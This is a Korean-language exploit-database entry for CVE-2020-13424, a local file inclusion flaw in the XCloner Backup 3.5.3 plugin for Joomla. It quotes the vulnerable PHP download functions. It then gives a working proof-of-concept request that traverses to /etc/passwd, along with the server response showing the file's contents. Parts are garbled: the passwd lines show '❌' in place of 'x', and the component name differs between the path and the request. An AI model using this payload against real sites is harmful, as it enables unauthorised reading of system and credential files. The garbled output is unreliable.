CVE-2020-13424

Exploit 제목: Joomla! 플러그인 XCloner Backup 3.5.3 - 로컬 파일 포함 (인증됨)
날짜: 2020-05-10
Exploit 작성자: Mehmet Kelepçe / Gais Cyber Security
Exploit-Db 작성자 ID: 8763
참조: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
공급업체 홈페이지: http://www.xcloner.com
소프트웨어 링크: https://www.xcloner.com/support/download/
버전: 3.5.3
테스트 환경: Kali Linux - Apache2

상세:

파일: administrator/components/com_xcloner-backupandstore/admin.cloner.php
-
case 'download':
downloadBackup($_REQUEST['file']);
break;
-

downloadBackup 함수의 파일 -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
취약한 매개변수: file

downloadBackup 함수 정의
-
function downloadBackup($file)
{
global $_CONFIG;

$file = realpath($_CONFIG['clonerPath'] . "/$file");

//First, see if the file exists
if (!is_file($file)) {
die("404 File $file was not found!");
}

//File Info
$len = get_filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));

//Setam Content-Type-urile pentru fisierul in cauza
switch ($file_extension) {
default:
$ctype = "application/force-download";
}

smartReadFile($file, $filename);

exit;
}
-
smartReadFile 함수 정의
-
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
{ header ("HTTP/1.0 404 Not Found");
return;
}

$size=filesize($location);
$time=date('r',filemtime($location));

$fm=@fopen($location,'r');
.
.
. - PoC: 요청: - GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 - 응답: - HTTP/1.0 200 OK Date: Sun, 10 May 2020 18:12:04 GMT Server: Apache/2.4.41 (Debian) Cache-Control: public, must-revalidate, max-age=0 Pragma: no-cache Accept-Ranges: bytes Content-Length: 3347 Content-Range: bytes 0-3347/3347 Content-Disposition: inline; filename=passwd Content-Transfer-Encoding: binary Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700 Connection: close Content-Type: application/octet-stream root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync . .